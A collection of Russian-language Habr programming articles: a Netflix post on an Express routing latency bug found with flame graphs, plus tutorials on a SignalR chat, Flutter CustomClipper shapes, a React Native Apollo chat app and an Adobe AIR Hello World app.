* Ширина блока показывает общее время выполнения функции процессором или часть времени выполнения вызвавшей её функции. Широкие блоки функций могут выполняться медленнее, чем узкие, а могут просто вызываться чаще.
* Количество вызовов может превышать время, если функция выполнялась в несколько потоков.
* Цвета не имеют особого значения и определяются в произвольном порядке из «теплых» тонов. Flame graphs *[дословно «графики пламени»; прим. переводчика]* называются так потому, что показывают самые «горячие» места в коде приложения.
Ранее node.js flame graphs можно было использовать только в системах с DTrace совместно с [jstack()](http://dtrace.org/blogs/dap/2012/04/25/profiling-node-js/) от Дейва Пачеко. Однако недавно команда Google V8 добавила поддержку perf\_events в движок V8, которая позволяет профилировать JavaScript на Linux. В [этой](http://www.brendangregg.com/blog/2014-09-17/node-flame-graphs-on-linux.html) статье Брендан описал использование новой возможности, которая появилась в node.js 0.11.13 для создания flame graphs в Linux.
По этой [ссылке](http://cdn.nflximg.com/ffe/siteui/blog/yunong/200mins.svg) вы можете посмотреть оригинальный интерактивный flame graph нашего приложения в SVG.
Сразу же можно отметить невероятно большие стеки в приложении (ось Y). Также очевидно, что на них приходится достаточно много времени (ось X). При ближайшем рассмотрении окажется, что эти стек фреймы полны ссылок на функции `route.handle` и `route.handle.next` из [Express](http://expressjs.com/).
Мы нашли в исходном коде Express два интересных момента[1](#footnote-1):
* Обработчики маршрутов для всех путей сохраняются в одном **глобальном массиве**
* Express рекурсивно перебирает и вызывает все обработчики пока не найдет подходящий маршрут
Глобальный массив это не самая подходящая структура данных в этом случае, так как для того, чтобы найти маршрут, в среднем потребуется *O(n)* операций. Непонятно, почему разработчики Express решили не использовать постоянную струкутру данных, например, хэш-таблицу для хранения обработчиков. Усугубляет ситуацию и то, что массив обходится рекурсивно. Это обьясняет, почему мы видели такие высокие стеки в flame graphs. Интересно и то, что Express позволяет установить множество обработчиков для одного маршрута.
```
[a, b, c, c, c, c, d, e, f, g, h]
```
В данном случае поиск для маршрута `c` был бы прекращен при нахождении первого подходящего обработчика (позиция 2 в массиве). Однако для того, чтобы найти обработчик маршрута `d` (позиция 6 в массиве), необходимо было бы потратить лишнее время на вызов нескольких экземпляров `c`. Мы проверили это с помощью простого Express приложения:
```
var express = require('express');
var app = express();
app.get('/foo', function (req, res) {
res.send('hi');
});
// добавляем еще один обработчик на тот же маршрут
app.get('/foo', function (req, res) {
res.send('hi2');
});
console.log('stack', app._router.stack);
app.listen(3000);
```
После запуска приложение выводит эти обработчики:
```
stack [ { keys: [], regexp: /^\/?(?=/|$)/i, handle: [Function: query] },
{ keys: [],
regexp: /^\/?(?=/|$)/i,
handle: [Function: expressInit] },
{ keys: [],
regexp: /^\/foo\/?$/i,
handle: [Function],
route: { path: '/foo', stack: [Object], methods: [Object] } },
{ keys: [],
regexp: /^\/foo\/?$/i,
handle: [Function],
route: { path: '/foo', stack: [Object], methods: [Object] } } ]
```
Обратите внимание, что есть два одинаковых обработчика для маршрута `/foo`. Было бы неплохо, если Express выкидывал бы ошибку всякий раз, когда один маршрут имеет несколько обработчиков.
Теперь наше предположение заключалось в том, что задержки возникали из-за постоянного увеличения массива с обработчиками. Скорее всего где-то в нашем коде дублировались обработчики. Мы добавили дополнительное логгирование, которое выводило массив обработчиков запросов, и заметили, что он растет по 10 элементов в час. Эти обработчики были идентичны друг другу, как из примера выше.
Что-то добавляло в приложение по 10 одинаковых обработчиков для статических маршрутов в час. Далее мы выяснили, что при переборе этих обработчиков затраты на вызов каждого из них занимают около 1 миллисекунды. Это коррелирует с тем, что мы видели раньше, когда задержка отклика росла на 10 миллисекунд в час.
Оказалось, это было вызвано периодическим (10 раз в час) обновлением обработчиков в нашем коде из внешнего источника. Мы реализовали это удалением старых обработчиков и добавлением новых к массиву. К сожалению, также при этой операции мы всегда добавляли обработчик для статического маршрута. Так как Express позволяет добавлять несколько обработчиков для одного маршрута, все эти дубликаты добавлялись в массив. Хуже всего то, что все они добавлялись раньше остальных, а это означало, что прежде чем Express найдет обработчик API для нашего сервиса, он несколько раз вызовет обработчик для статического маршрута.
Это в полной мере объясняет, почему задержки запросов росли на 10 миллисекунд в час. В самом деле, после того как мы устранили ошибку в нашем коде, постоянное возрастание времени задержки и увеличение использования процессорного времени прекратилось.
На этом графике видно, что время задержки сократилось до одной миллисекунды после обновления кода.
#### Когда дым рассеялся
Какой же опыт мы получили? Во-первых, мы должны полностью понимать, как устроены зависимости в нашем коде, прежде чем использовать его в production. Мы сделали неверное предположение о работе Express API без исследования его кода. Неправильное использование Express API является конечной причиной наших проблем с производительностью.
Во-вторых, при решении проблем с производительностью наглядность имеет первостепенное значение. Flame graphs дали нам огромное понимание того, где наше приложение тратит больше всего времени и ресурсов процессора. Я не могу себе представить, как бы мы могли решить эту проблему, будучи не в состоянии получить node.js стеки и визуализировать их с помощью flame graphs.
Желая улучшить наглядность, мы мигрируем на [Restify](http://mcavage.me/node-restify/), который позволит нам улучшить контроль над нашим приложением[2](#footnote-2). Это выходит за рамки данной статьи, поэтому читайте в нашем блоге о том, как мы используем node.js в Netflix.
Хотите решать подобные проблемы вместе с нами? Наша команда [ищет инженера](http://jobs.netflix.com/jobs.php?id=NFX01717) для работы с node.js стеком.
Автор: Юйнун Сяо [@yunongx](https://twitter.com/YunongX)
Примечания:
1. В частности этот [фрагмент кода](https://github.com/strongloop/express/blob/d40dc65/lib/router/route.js#L81-L102). Обратите внимание, что функция `next()` вызывается рекурсивно для перебора массива обработчиков.
2. Restify предоставляет множество механизмов для получения лучшей наглядности работы нашего приложения, от поддержки [DTrace](http://mcavage.me/presentations/dtrace_conf_2012-04-03/) до интеграции c [node-bunyan](https://github.com/trentm/node-bunyan).
*Примечания переводчика:*
1. Я не имею никакого отношения к компании Netflix. Но ссылку на вакансию оставил намеренно, буду искренно рад, если кому-нибудь она пригодится.
2. В комментариях к оригинальной статье объясняется, почему Express не использует хэш-таблицы в качестве структуры данных для хранения обработчиков. Причина кроется в том, что регулярное выражение, по которому выбирается необходимый обработчик, не может быть ключом в хэш-таблице. А если хранить его как строку, то сравнивать придется также все ключи из хэш-таблицы (хотя это все и не отменяет того, что при добавлении второго обработчика на маршрут, можно было бы выбрасывать хотя бы предупреждение).
3. Также вы можете прочесть развернутый [ответ](https://gist.github.com/hueniverse/a3109f716bf25718ba0e) Эрана Хаммера (одного из контрибьюторов [hapi](http://hapijs.com/)) и последовавшую за ним дискуссию.
Комментарии и замечания, касающиеся перевода, приветствуются в личных сообщениях.
**UPD**: внимательные читатели заметили, что переводчик неправильно сделал транскрипцию имени автора оригинальной статьи. Спасибо за подсказки [domix32](https://habrahabr.ru/users/domix32/) и [lany](https://habrahabr.ru/users/lany/). | https://habr.com/ru/post/243945/ | null | ru | null |
# ASP.NET Push notifications с помощью SignalR
В качестве примера будем писать примитивный чат с мгновенным уведомлением всех клиентов с помощъю библиотеки [SignalR](https://github.com/SignalR/SignalR)
#### подготовка
Для этого в Visual Studio создадим пустой проект ASP.NET Empty Web Application
Сама библиотека SignalR добавляется в одну строку через NuGet:
`Install-Package SignalR`
это добавит в проект скрипты jQuery и SignalR а также reference-ссылку на dll SignalR и другие dll необходимые для её работы.
#### пишем серверный код
Добавляем произвольный класс — я назову его Chat, он должен наследовать из класса Hub, определенного в SignalR.Hubs
```
public class Chat : Hub
{
public void Send(dynamic message)
{
Clients.AddChatMessage(message);
}
}
```
в нашем классе можно определять любое количество любых публичных методов, с любыми параметрами — все они бутуд доступны из соответствующего JavaScript proxy класса на клиенте.
в нашем случае определяем простетький Send, и для удобства патаметр будет dynamic.
Clients определен в родительском классе, является динамическим объектом — вызов любого произвольного метода на нем — вызывает его на всех подключенных клиентах с теми же параметрами.
#### пишем клиентский код
добавляем в проект html документ — chat.html, с простенькой разметкой
```
```
добавляем ссылки на необходимые JS скрипты, при этом /signalr/hubs должен быть добавлен после signalr.js, так ка зависит от него.
```
```
далее собственно сам клиенский скрипт:
```
$(function () {
//получаем прокси объект чат
var chat = $.connection.chat;
//определяем метод, вызываемый с серверной част,
//параметры естественно должы совпадать
chat.AddChatMessage = function (msg) {
$("#messages").append("<li>" + msg.name + " : " + msg.text + "</li>");
};
//обработчик клика - вызывает метод прокси объекта определенного на сервере
$("#broadcast").click(function () {
var msg = {
'name': $.browser.version,
'text': $('#msg').val()
};
chat.send(msg);
});
//стартуем все хабы
$.connection.hub.start();
});
```
в качестве имени каждого клиента я использовал версию браузера.
#### в результате
все клиенты получают push-style уведомления одновременно, как видно на видео:
#### вместо заключения
получить примеры использования SignalR можно набрав
`Install-Package SignalR.Sample`
скачать исходники рассмотренного в статье и в видео примера — [здесь](http://goo.gl/jsxWo)
с Новым 2012 Годом! | https://habr.com/ru/post/135604/ | null | ru | null |
# Flutter. Разбираемся, как рисовать различные фигуры с помощью CustomClipper
Flutter предлагает различные виджеты для работы с определенным набором фигур, например, [ClipRect](https://api.flutter.dev/flutter/widgets/ClipRect-class.html), [ClipRRect](https://api.flutter.dev/flutter/widgets/ClipRRect-class.html), [ClipOval](https://api.flutter.dev/flutter/widgets/ClipOval/ClipOval.html). Но также есть [ClipPath](https://api.flutter.dev/flutter/widgets/ClipPath-class.html), с помощью которого мы можем создавать любые типы фигур.
В данной статье мы сосредоточимся на том, что можно сделать, используя [ClipPath](https://api.flutter.dev/flutter/widgets/ClipPath-class.html) и [CustomClipper](https://api.flutter.dev/flutter/rendering/CustomClipper-class.html). Поехали!
**Содержание:**
* [ClipPath](#clippath)
* [lineTo](#lineto)
* [moveTo](#moveto)
* [quadraticBezierTo](#quadraticbezierto)
* [cubicTo](#cubicto)
* [arcToPoint](#arctopoint)
* [arcTo](#arcto)
* [addRect](#addrect)
* [addRRect](#addrrect)
* [addOval](#addoval)
* [addPolygon](#addpolygon)
* [addPath](#addpath)
* [relativeLineTo](#relativelineto)
ClipPath
--------
Благодаря ClipPath мы можем создавать очень сложные и необычные фигуры. В этом нам поможет свойство **clipper** у ClipPath
```
@override
Widget build(BuildContext context) {
return Scaffold(
backgroundColor: Colors.grey,
body: Center(
child: ClipPath(
clipper: MyCustomClipper(), // <--
child: Container(
width: 200,
height: 200,
color: Colors.pink,
),
),
),
);
}
```
В качестве значения для clipper необходимо указать экземпляр класса, который наследуют `CustomClipper` и переопределяет два метода.
```
class MyCustomClipper extends CustomClipper {
@override
Path getClip(Size size) {
Path path = Path();
return path;
}
@override
bool shouldReclip(CustomClipper oldClipper) => false
}
```
Метод **[getClip](https://api.flutter.dev/flutter/rendering/CustomClipper/getClip.html)** вызывается каждый раз, когда требуется обновить нашу описанную фигуру. В качестве параметра метод получает `Size`, который содержит значения **высоты** и **ширины** виджета, переданного в `сhild` у `ClipPath`.
**[shouldReclip](https://api.flutter.dev/flutter/rendering/CustomClipper/shouldReclip.html)** вызывается, когда в `clipper` передается новый экземпляр класса. Если новый экземпляр отличается от старого, то метод должен возвращать `true`, в противном случае – `false`.
Нам нужно описать фигуру внутри `CustomClipper`. Это не очень сложно, но сначала надо разобраться с основами графики.
Как показано на приведенном выше рисунке, каждая точка на графике описывается через координату (`x`,`y`). `x` представляет собой горизонтальную ось, а `y` – вертикальную ось. Построение фигуры начинается с верхнего левого угла, чья координата (`0`, `0`).
Давайте рассмотрим доступные методы для построения фигур. С помощью этих методов вы можете создавать собственные фигуры.
lineTo
------
Данный метод используется для построения отрезка от текущей точки до заданной.
Как показано выше на рисунке (a), путь по умолчанию начинается с точки `p1(0, 0)`. Теперь добавим новый отрезок к `p2(0, h)`, а затем – `p3(w, h)`. Нам не нужно определять линию от конечной точки `p3` до начальной `p1`, она будет нарисована по умолчанию.
Результат можно увидеть на рисунке (b) с треугольником розового цвета.
```
@override
Path getClip(Size size) {
Path path = Path()
..lineTo(0, size.height) // Добавить отрезок p1p2
..lineTo(size.width, size.height) // Добавить отрезок p2p3
..close();
return path;
}
```
moveTo
------
Этот метод нужен для перемещения точки отрисовки.
Как показано на рисунке выше, начальная точка перемещена из `(0, 0)` в точку `p1(w/2, 0)`.
```
@override
Path getClip(Size size) {
Path path = Path() // Начальная точка в (0, 0)
..moveTo(size.width/2, 0) // передвигаем точку в (width/2, 0)
..lineTo(0, size.width)
..lineTo(size.width, size.height)
..close();
return path;
}
```
quadraticBezierTo
-----------------
Этот метод используется для построения квадратичной кривой Безье.
*Источник: [Wikipedia](https://en.wikipedia.org/wiki/B%C3%A9zier_curve#Quadratic_B%C3%A9zier_curves)*
Как показано на приведенном выше рисунке, мы можем нарисовать квадратичную кривую Безье, используя контрольную и конечную точки. P0 – это начальная точка, P1 – контрольная точка, а P2 – конечная точка.
Как показано выше на рисунке (а), кривая рисуется от точки `p2(0, h)` до `p3(w, h)` с использованием контрольной точки `c(w/2, h/2)`.
```
@override
Path getClip(Size size) {
// Эта переменная определена для лучшего понимания, какое значение указать в методе quadraticBezierTo
var controlPoint = Offset(size.width / 2, size.height / 2);
var endPoint = Offset(size.width, size.height);
Path path = Path()
..moveTo(size.width / 2, 0)
..lineTo(0, size.height)
..quadraticBezierTo(
controlPoint.dx, controlPoint.dy, endPoint.dx, endPoint.dy)
..close();
return path;
}
```
cubicTo
-------
Данный метод используется для построения кубической кривой путем указания 2 контрольных и конечной точек.
На рисунке выше представлена иллюстрация различных кубических кривых с разным расположением контрольных точек.
Как показано на рисунке (a), кубическая кривая рисуется между начальной точкой `p2` и конечной точкой `p3` с использованием контрольных точек `c1` и `c2`.
```
@override
Path getClip(Size size) {
var controlPoint1 = Offset(50, size.height - 100);
var controlPoint2 = Offset(size.width - 50, size.height);
var endPoint = Offset(size.width, size.height - 50);
Path path = Path()
..moveTo(size.width / 2, 0)
..lineTo(0, size.height - 50)
..cubicTo(controlPoint1.dx, controlPoint1.dy, controlPoint2.dx,
controlPoint2.dy, endPoint.dx, endPoint.dy)
..close();
return path;
}
```
arcToPoint
----------
Данный метод нужен для рисования дуги от начальной точки до указанной точки. Мы можем настроить дугу, установив радиус, указав направление (по часовой стрелке / против часовой стрелки).
Существуют эллиптический и круговой типы радиуса для построения дуги. Как показано на приведенном выше рисунке, эллиптический радиус рисуется с использованием значения `(x, y)`, а круговой радиус – радиуса `R`.
Как показано на рисунке (a) выше, построение фигуры начинается с точки `p1`. Первая дуга рисуется от точки `p2` до точки `p3`, при этом радиус не задан, поэтому по умолчанию равен **нулю**, соответственно наша дуга выглядит, как прямая. Вторая дуга тянется от начальной точки `p4` до конечной точки `p5` с использованием кругового радиуса и направления по часовой стрелке *(прим. по часовой – направление по умолчанию)*. Третья дуга тянется от точки `p6` до точки `p7`, используя круговой радиус и направление против часовой стрелки. Четвертая дуга проходит от начальной точки `p8` до конечной точки `p1`, используя эллиптический радиус.
```
@override
Path getClip(Size size) {
double radius = 20;
Path path = Path()
..moveTo(radius, 0)
..lineTo(size.width-radius, 0)
..arcToPoint(Offset(size.width, radius))
..lineTo(size.width, size.height - radius)
..arcToPoint(Offset(size.width - radius, size.height),radius: Radius.circular(radius))
..lineTo(radius, size.height)
..arcToPoint(Offset(0, size.height - radius), radius: Radius.circular(radius), clockwise: false)
..lineTo(0, radius)
..arcToPoint(Offset(radius, 0), radius: Radius.elliptical(40, 20))
..close();
return path;
}
```
arcTo
-----
Этот метод используется, чтобы нарисовать дугу, задав в качестве значения в [радианах](https://en.wikipedia.org/wiki/Radian) [Rect](https://api.flutter.dev/flutter/dart-ui/Rect-class.html), начальный угол (startAngle) и конечный угол (sweepAngle).
Приведенное выше изображение предназначено для предоставления основной информации об углах в радианах. Минимальный угол равен 0 PI (значение PI равно ~3.14), полный – 2 PI.
Существует несколько способов построения **Rect**, как с помощью точек, окружности, LTRB (Left, Top, Right, Bottom) и LTWH (Left, Top, Width, Height). На вышеприведенном рисунке (a) все типы дуг нарисованы с разным начальным углом.
```
@override
Path getClip(Size size) {
double radius = 50;
Path path = Path()
..lineTo(size.width - radius, 0)
..arcTo(
Rect.fromPoints(
Offset(size.width - radius, 0), Offset(size.width, radius)), // Rect
1.5 * pi, // начальный угол
0.5 * pi, // конечный угол
true) // направление по часовой стрелке
..lineTo(size.width, size.height - radius)
..arcTo(Rect.fromCircle(center: Offset(size.width - radius, size.height - radius), radius: radius), 0, 0.5 * pi, false)
..lineTo(radius, size.height)
..arcTo(Rect.fromLTRB(0, size.height - radius, radius, size.height), 0.5 * pi, 0.5 * pi, false)
..lineTo(0, radius)
..arcTo(Rect.fromLTWH(0, 0, 70, 100), 1 * pi, 0.5 * pi, false)
..close();
return path;
}
```
addRect
-------
Данный метод нужен для построения прямоугольников. Есть несколько различных методов для создания `Rect`: `fromPoints`, `fromLTWH`, `fromCircle`, `fromLTRB` и `fromCircle`.
```
@override
Path getClip(Size size) {
Path path = Path()
..addRect(Rect.fromPoints(Offset(0, 0), Offset(60, 60)))
..addRect(Rect.fromLTWH(0, size.height - 50, 50, 50))
..addRect(Rect.fromCircle(center: Offset(size.width / 2, size.height / 2), radius: 20))
..close();
return path;
}
```
addRRect
--------
Этот метод используется для добавления прямоугольника с закругленными углами. Можно скруглить, как все углы сразу, так и один.
```
@override
Path getClip(Size size) {
double radius = 10;
Path path = Path()
..addRRect(RRect.fromLTRBR(0, 0, 60, 60, Radius.circular(radius)))
..addRRect(RRect.fromRectAndRadius(
Rect.fromLTWH(0, size.height - 50, 50, 50), Radius.circular(radius)))
..addRRect(RRect.fromRectAndCorners(
Rect.fromCircle(
center: Offset(size.width / 2, size.height / 2), radius: 30
),
topLeft: Radius.circular(radius)))
..close();
return path;
}
```
addOval
-------
Данный метод используется для описания овала. Как и для `addRect`, параметр типа `Rect` является обязательным.
```
@override
Path getClip(Size size) {
Path path = Path()
..addOval(Rect.fromPoints(Offset(0, 0), Offset(60, 60)))
..addOval(Rect.fromLTWH(0, size.height - 50, 100, 50))
..addOval(Rect.fromCircle(center: Offset(size.width / 2, size.height / 2), radius: 20))
..close();
return path;
}
```
addPolygon
----------
Этот метод используется для добавления [многоугольника](https://en.wikipedia.org/wiki/Polygon) путем определения нескольких точек.
```
@override
Path getClip(Size size) {
var points = [
Offset(size.width / 2, 0), // точка p1
Offset(0, size.height / 2), // точка p2
Offset(size.width / 2, size.height), // точка p3
Offset(size.width, size.height / 2) // точка p4
];
Path path = Path()
..addPolygon(points, false)
..close();
return path;
}
```
addPath
-------
Данный метод пригодится, если надо добавить ещё одну фигуру на отображение к уже имеющейся. Для этого необходимо указать описание фигуры и сдвиг относительно начальной позиции точки для вычислениям координат новой фигуры.
Как показано на рисунке (a), есть две фигуры (`path 1` и `path 2`), `path 1` является основной, а `path 2` добавляется в `path 1`. `path 2` строится в соответсвии со сдвигом `(w/2, 0)`, поэтому начало координат `(0, 0)` и все остальные точки вычисляются с учетом указанного смещения.
```
@override
Path getClip(Size size) {
Path path1 = Path()
..lineTo(0, size.height)
..lineTo(size.width/2, size.height)
..lineTo(0, 0);
Path path2 = Path()
..lineTo(size.width/2, size.height)
..lineTo(size.width/2, 0)
..lineTo(0, 0);
path1.addPath(path2, Offset(size.width/2,0));
return path1;
}
```
relativeLineTo
--------------
Этот метод аналогичен методу `lineTo`, но конечная точка линии задается не точной координатой, а смещением из начальной.
На рисунке (a) линия `p1p2` рисуется с помощью `relativeLineTo`, поэтому координата точки `p2` вычисляется относительно `p1`. Можно записать в виде формулы `p2(x, y) = (p1.x + 50, p1.y + h)`
```
@override
Path getClip(Size size) {
Path path = Path()
..moveTo(size.width/2, 0)
..relativeLineTo(50, size.height)
..lineTo(size.width , size.height)
..close();
return path;
}
```
> Примечание: `relativeMoveTo`, `relativeQuadraticBezierTo`, `relativeArcToPoint`, `relativeCubicTo` будут работать по сравнению с `quadraticBezierTo`, `arcToPoint`, `cubicTo` по тому же принципу, что и `relativeLineTo` по отношению к `lineTo`.
---
Надеюсь, что данный материал будет вам полезен и поможет создавать новые классные фигуры.
---
* [Исходный код на Github](https://github.com/KinjalDhamat312/FlutterCustomClipper)
* Проект [flutter\_chat\_bubble](https://pub.dev/packages/flutter_chat_bubble/versions/1.0.2), созданный с помощью `CustomClipper` | https://habr.com/ru/post/509384/ | null | ru | null |
# Создание мобильного приложения чата на React Native
Это вторая часть статьи (первая [тут](https://habr.com/ru/post/470756/)), посвященная созданию чата, используя apollo-server-koa и react-native. В ней будет рассмотрено создание мобильного приложения чата. В предыдущей части уже был создан бекенд для этого чата, подробнее с описанием этого процесса вы можете ознакомиться по [ссылке](https://habr.com/ru/post/470756/).
Первым делом с помощью expo-cli создадим новый expo проект, для этого выполним в терминале команду:
```
expo init
```
И проследуем по всем шагам визарда для создания пустого приложения.
После того, как мы получили созданное приложение, необходимо добавить зависимости, которые будут использованы в дальнейшем:
yarn add [apollo](https://habr.com/ru/users/apollo/)/react-hooks apollo-cache-inmemory apollo-client apollo-link-http apollo-link-ws apollo-utilities graphql graphql-tag native-base react-router-native subscriptions-transport-ws
Готово, следующий шаг — подключение и настройка apollo client’a для работы с нашим бекендом. Для этого добавим код ниже в App.js. Отмечу, что здесь мы настроим apollo для подключение к нашему бекенду по http и websocket протоколам, а так же создадим in-memory кеш для apollo, а так же создадим 2 роута: один для формы входа и второй для страницы чата.
```
get link() {
const BACKEND_URL = Platform.OS === 'ios'
? 'localhost:3000'
: '10.0.2.2:3000';
const httpLink = new HttpLink({
uri: `http://${BACKEND_URL}/graphql`
});
const wsLink = new WebSocketLink({
uri: `ws://${BACKEND_URL}/graphql`,
options: {
reconnect: true
}
});
return split(
// split based on operation type
({ query }) => {
const definition = getMainDefinition(query);
return (
definition.kind === 'OperationDefinition' &&
definition.operation === 'subscription'
);
},
wsLink,
httpLink,
);
}
async componentDidMount() {
const cache = new InMemoryCache();
this.client = new ApolloClient({
link: this.link,
cache
});
….
}
render() {
return (
...
)
}
```
Я не буду подробно описывать создание формы, думаю, вы и так видели это неоднократно, скажу только, что код формы входа можно найти [здесь](https://github.com/andreysaleba/react-native-chat/blob/master/components/UsernameForm.js), для простоты я решил не добавлять авторизацию и поле для ввода пароля, однако при желании вы можете легко сделать это самостоятельно.
Остановлюсь на интересном моменте:
```
const [ findOrCreateUser ] = useMutation(FIND_OR_CREATE_USER, {
update(cache, { data: { findOrCreateUser: { id, username } } }) {
cache.writeQuery({
query: GET_CURRENT_USER,
data: { id, username },
});
}
});
```
Здесь происходит вызов мутации добавления/получения юзера по его username, а так же запись результата в кеш для дальнейшего его использования в других частях приложения.
После того, как форма входа реализована, следующий пункт — чат.
Опять же, не будем подробно останавливаться на верстке, весь код можно посмотреть [здесь](https://github.com/andreysaleba/react-native-chat/tree/master/components/chat).
Используем функционал подписки, для получения оповещений о новом сообщении в чате и обработаем только ту ветку, когда сообщение было создано не текущим пользователем, так как в противном случае, сообщение уже попадет к кеш apollo:
```
useSubscription(MESSAGE_CREATED, {
onSubscriptionData: ({ client, subscriptionData: { data: { messageCreated } } }) => {
const { getLast100Messages } = client.readQuery({ query: GET_LAST_100_MESSAGES });
if (messageCreated.user.id !== id) {
client.writeQuery({
query: GET_LAST_100_MESSAGES,
data: {
getLast100Messages: [
...getLast100Messages,
messageCreated
]
}
});
}
}
});
```
Еще один интересный момент, при загрузке чата с уже имеющимися сообщениями в нем, в верхней части экрана будет отображено наиболее старое сообщение, это непривычно для пользователей, сделаем поведение приложения более естественным, для этого добавим следующие строки кода:
```
const scrollEl = useRef(null);
…
{
scrollEl.current.wrappedInstance.scrollToEnd({ animated: true });
}}
>
```
Теперь при получении начальных данных или при добавлении нового сообщения чат будет плавно скроллиться до самого последнего сообщения.
Остальной код не имеет смысла рассматривать, так как он похож на то, что уже было сделано, реализация приложения хранится в [репозитории](https://github.com/andreysaleba/react-native-chat).
После того как весь функционал приложения был реализован остается только протестировать работоспособность приложения вместе с бекендом из предыдущей статьи. Запущенное на эмуляторе приложение выглядит так:
 | https://habr.com/ru/post/471712/ | null | ru | null |
# Hello World! в Adobe AIR
[Adobe AIR](http://www.adobe.com/devnet/air/) — это средство для разработки интерактивных приложений от Adobe. К особенностям можно отнести возможность разрабатывать кроссплатформенные приложения с использованием HTML/Ajax, Flex, Flash.
Для ознакомления сделаем пример «Hello World!» с использованием HTML.
**Установка необходимых программ**
Прежде всего требуется скачать сам пакет [Adobe AIR](http://labs.adobe.com/downloads/air.html) (есть версии для Windows и MaxOSX, Linux версию обещали сделать).
Затем [SDK](http://labs.adobe.com/downloads/airsdk.html) для разработки приложений
Установите куда вам будет удобно, запомните путь — он вам пригодится.
**Создание файла проекта**
Каждый AIR-проект на HTML содержит как минимум 2 файла: файл описания проекта и главная страница приложения в HTML. В нашем примере так же используется ещё один HTML файл с форматированным текстом для вставки через JavaScript. Так же присутствует файл AIRAliases.js для создания алиасов с классами AIR API.
Для начала создайте папку HelloWorld. Скопируйте файл AIRAliases.js из папки SDK в вашу папку HelloWorld.
Для больших и сложных приложений возможно требуется более сложная структура папок для скриптов, картинок и стилей, но в нашем случае одной папки будет достаточно.
**Создание файла описания проекта**
Простейший файл выглядит примерно так:
>
> ```
>
>
> ...
> ...
> …
>
> …
> …
> …
> …
>
>
>
> ```
>
>
>
* Создайте пустой файл и назовите его HelloWorld-app.xml и сохраните его в директорию проекта
* Добавьте элемент ``с атрибутом AIR
. Последняя часть "1.0.М6" означает версию runtime, которую использует приложения.`
Добавьте элемент ``examples.html.HelloWorld`
значение должно быть уникальным и не должно совпадать с другими приложениями. Для разделения имен используются точки. Уникальное имя требуется для установки, получения доступа к приватным файлам и тд.`
Добавьте элемент ``0.1` - для контроля версий`
Добавьте элемент ``HelloWorld` - имя используется для установки, создания папки с приложением на системе польователя`
Добавьте элемент ``с дочерними элементами:
+ HelloWorld.html - главный HTML файл, который будет загружен.
+ `true` - определяет будет ли окно видно при запуске приложения. В некоторых случаях нет необходимости показывать окно.
+ `400` - устанавливает ширину окна в пикселях.
+ `200` - устанавливает высоту окна.`
Сохраните файл. У вас должно получится примерно так:
```
xml version="1.0" encoding="UTF-8"?
examples.html.HelloWorld
0.1
HelloWorld
HelloWorld.html
true
400
200
```
В этом примере не используются все параметры. Для более подробной информации можно посмотреть [описании всех характеристик файла проекта](http://livedocs.adobe.com/labs/air/1/devappshtml/File_formats_1.html#1043413)
**Создание главного HTML файла.**
1) Создайте файл HelloWorld.html, имя файла должно совпадать с именем в файле описания в элементе ````
. Содержание должно быть примерно таким:
>
>
> Hello World
>
>
> Hello World
> ===========
>
>
> Loaded text:
>
>
>
>
>
>
2) В `блоке добавьте загрузку файла AIRAliases.js
Для доступа к функциям API можно использовать длинные вызовы. Например:
var textFile = new runtime.flash.filesystem.File("app:/textfile.txt");`.
Но в файле AIRAliases.js хранятся укороченные алиасы для более удобного вызова функций. Например, тот же вызов:
`var textFile = new air.File("app:/textfile.txt");`
3) Сразу после загрузки AIRAliases.js добавьте блок с функцией `appLoad`:
>
> ```
>
>
> function appLoad(){
> air.trace("Hello World");
> //чтение файла
> var textFile = new air.File("app:/textfile.txt");
> if(textFile.exists){
> var textStream = new air.FileStream();
> textStream.open(textFile, air.FileMode.READ);
> if(textStream.bytesAvailable > 0){
> var fileText = textStream.readUTFBytes(textStream.bytesAvailable);
> textStream.close();
> air.trace("Чтение текста: " + fileText);
>
> //Создаем 'p' элемент для текста
> var displayDiv = document.getElementById('display');
> var paragraph = document.createElement('p');
> var textNode = document.createTextNode(fileText);
> paragraph.appendChild(textNode);
> displayDiv.appendChild(paragraph);
> } else {
> air.trace("Файл пустой.");
> }
> } else {
> air.trace("Файл не найден.");
> }
> }
>
>
> ```
>
Эта функция использует метод `air.trace("");` для вывода сообщений на консоль когда вы будете запускать программу через ADL, которая подходит для тестирования.
Чтение файла состоит из трех частей:
+ Определяем объект File
`var textFile = new air.File("app:/textfile.txt");`
+ Открывает FileStream с помощью нашего файла
`textStream.open(textFile, air.FileMode.READ);`
+ Читаем данные из потока
`var fileText = textStream.readUTFBytes(textStream.bytesAvailable);`
Остальные функции стандартны и используются для вставки текста на страницу.
Готовый файл должен быть примерно таким:
>
> ```
>
>
>
>
> Hello World
>
>
> function appLoad(){
> air.trace("Hello World");
> //чтение текстового файла
> var textFile = new air.File("app:/textfile.txt");
> if(textFile.exists){
> var textStream = new air.FileStream();
> textStream.open(textFile, air.FileMode.READ);
> if(textStream.bytesAvailable > 0){
> var fileText = textStream.readUTFBytes(textStream.bytesAvailable);
> textStream.close();
> air.trace("Text read: " + fileText);
>
> //создаем 'p' элемент для текста
> var displayDiv = document.getElementById('display');
> var paragraph = document.createElement('p');
> var textNode = document.createTextNode(fileText);
> paragraph.appendChild(textNode);
> displayDiv.appendChild(paragraph);
> } else {
> air.trace("Файл пустой.");
> }
> } else {
> air.trace("Файл не найден.");
> }
> }
>
>
>
> Hello World
> ===========
>
>
> Текст:
>
>
>
>
>
>
> ```
>
>
>
**Создаем текстовый файл**
Создаем текстовый файл и называем его textfile.txt. Добавим в него немного текста и сохраним.
**Тестирование приложения**
Для тестирования нам понадобится утилита ADL (AIR Debug Launcher). Она находится в папке bin в директории с SDK.
Запустите консоль. Перейдите в вашу папку с примером. Затем выполните команду для запуска:
`adl HelloWorld-app.xml` Скорее всего вы получите ошибку что утилита adl не найдена, тогда вам следует прописать полный путь к ней или добавить в системные пути папку "Путь к SDK"/bin .
Вот что получилось у меня:
[](http://imageshack.us)
**Создание установочного файла**
После проверки нашего приложения мы можем создать установочный пакет для публикации.
Установочный пакет должен быть подписан сертификатом. Для тестирований можно использовать свой сертифика, который можно сгенерировать специальной утилитой. Для продажи можно купить сертификаты подписанные VerySign или Thawte. В нашем случае когда пользователь устанавливает приложение, он видит что "издатель" не указан.
1) Генерируем наш сертификат:
`adt -certificate -cn SelfSigned 1024-RSA sampleCert.pfx samplePassword`
2) Создаем установочный пакет:
`adt -package -storetype pkcs12 -keystore sampleCert.pfx HelloWorld.air HelloWorld-app.xml HelloWorld.html AIRAliases.js textfile.txt`
Введите пароль (samplePassword)
HelloWorld.air это имя нашего пакета.
